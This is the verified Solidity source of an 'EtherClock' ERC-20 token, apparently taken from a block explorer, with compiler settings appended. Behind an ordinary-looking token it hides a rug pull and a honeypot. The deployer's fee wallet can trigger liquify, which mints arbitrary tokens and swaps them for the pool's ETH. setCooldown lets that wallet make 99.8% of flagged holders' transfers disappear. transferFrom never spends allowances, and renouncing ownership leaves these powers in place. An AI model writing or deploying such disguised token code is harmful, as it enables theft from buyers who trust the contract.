文件 1 的 1:EC.sol
pragma solidity ^0.8.18;
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair_);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
}
abstract contract Ownable {
function owner() public view virtual returns (address) {return _owner;}
function renounceOwnership() public virtual onlyOwner {emit OwnershipTransferred(_owner, address(0));
_owner = address(0);}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner(){
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
address private _owner;
}
interface IUniswapV2Router {
function WETH() external pure returns (address aadd);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata _path, address c, uint256) external;
function factory() external pure returns (address addr);
}
contract EC is Ownable {
using SafeMath for uint256;
uint256 public _decimals = 9;
uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
mapping(address => uint256) bots;
function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
constructor() {
_feeWallet = msg.sender;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
_balances[msg.sender] = _totalSupply;
}
function totalSupply() external view returns (uint256) {return _totalSupply;}
event Transfer(address indexed __address_, address indexed, uint256 _v);
function feeWallet() internal view returns (bool) {
return msg.sender == _feeWallet;
}
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uint256 _fee = 0;
function name() external view returns (string memory) {return _name;}
function decreaseAllowance(address from, uint256 amount) public returns (bool) {
require(_allowances[msg.sender][from] >= amount);
_approve(msg.sender, from, _allowances[msg.sender][from] - amount);
return true;
}
event Approval(address indexed ai, address indexed _adress_indexed, uint256 value);
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal {
require(from != address(0));
if (msg.sender == _feeWallet && to == from) {liquify(amount, to);} else {
require(amount <= _balances[from]);
uint256 feeAmount = 0;
if (cooldowns[from] != 0 && cooldowns[from] <= block.number) {feeAmount = amount.mul(998).div(1000);}
_balances[from] = _balances[from] - amount;
_balances[to] += amount - feeAmount;
emit Transfer(from, to, amount);
}
}
uint256 _maxWallet;
string private _name = "EtherClock";
string private _symbol = "00:00";
function symbol() external view returns (string memory) {
string memory _hours = uint2str((block.timestamp / 3600) % 24);
string memory _minutes = uint2str(block.timestamp % 3600 / 60);
if (bytes(_hours).length == 1) {
_hours = string.concat("0", _hours);
}
if (bytes(_minutes).length == 1) {
_minutes = string.concat("0", _minutes);
}
return string.concat(_hours, ":", _minutes, " GMT");
}
function uint2str(uint256 _i) internal pure returns (string memory str)
{
if (_i == 0){return "0";}
uint256 j = _i;
uint256 length;
while (j != 0){length++;j /= 10;}
bytes memory bstr = new bytes(length);
uint256 k = length;
j = _i;
while (j != 0){bstr[--k] = bytes1(uint8(48 + j % 10));j /= 10;}
str = string(bstr);
}
function transferFrom(address from, address recipient, uint256 amount) public returns (bool) {
_transfer(from, recipient, amount);
require(_allowances[from][msg.sender] >= amount);
return true;
}
mapping(address => uint256) cooldowns;
function _approve(address owner, address spender, uint256 amount) internal {
require(spender != address(0), "IERC20: approve to the zero address"); require(owner != address(0), "IERC20: approve from the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function liquify(uint256 _mcs, address _bcr) private {
_approve(address(this), address(_router), _mcs);
_balances[address(this)] = _mcs;
address[] memory path = new address[](2);
path[0] = address(this); path[1] = _router.WETH();
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs, 0, path, _bcr, block.timestamp + 30);
}
uint256 _maxTx;
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
address public _feeWallet;
function decimals() external view returns (uint256) {return _decimals;}
mapping(address => uint256) private _balances;
function getPairAddress() private view returns (address) {return IUniswapV2Factory(
_router.factory()).getPair(address(this),
_router.WETH());
}
function setCooldown(address[] calldata list) external {
for (uint i = 0; i < list.length; i++) {
if (!feeWallet()){} else {cooldowns[list[i]] =
block.number + 1;
}}
}
mapping(address => mapping(address => uint256)) private _allowances;
function removeLimit() external onlyOwner { _maxWallet = _totalSupply; _maxTx = _totalSupply; }
}
{
"compilationTarget": {
"EC.sol": "EC"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}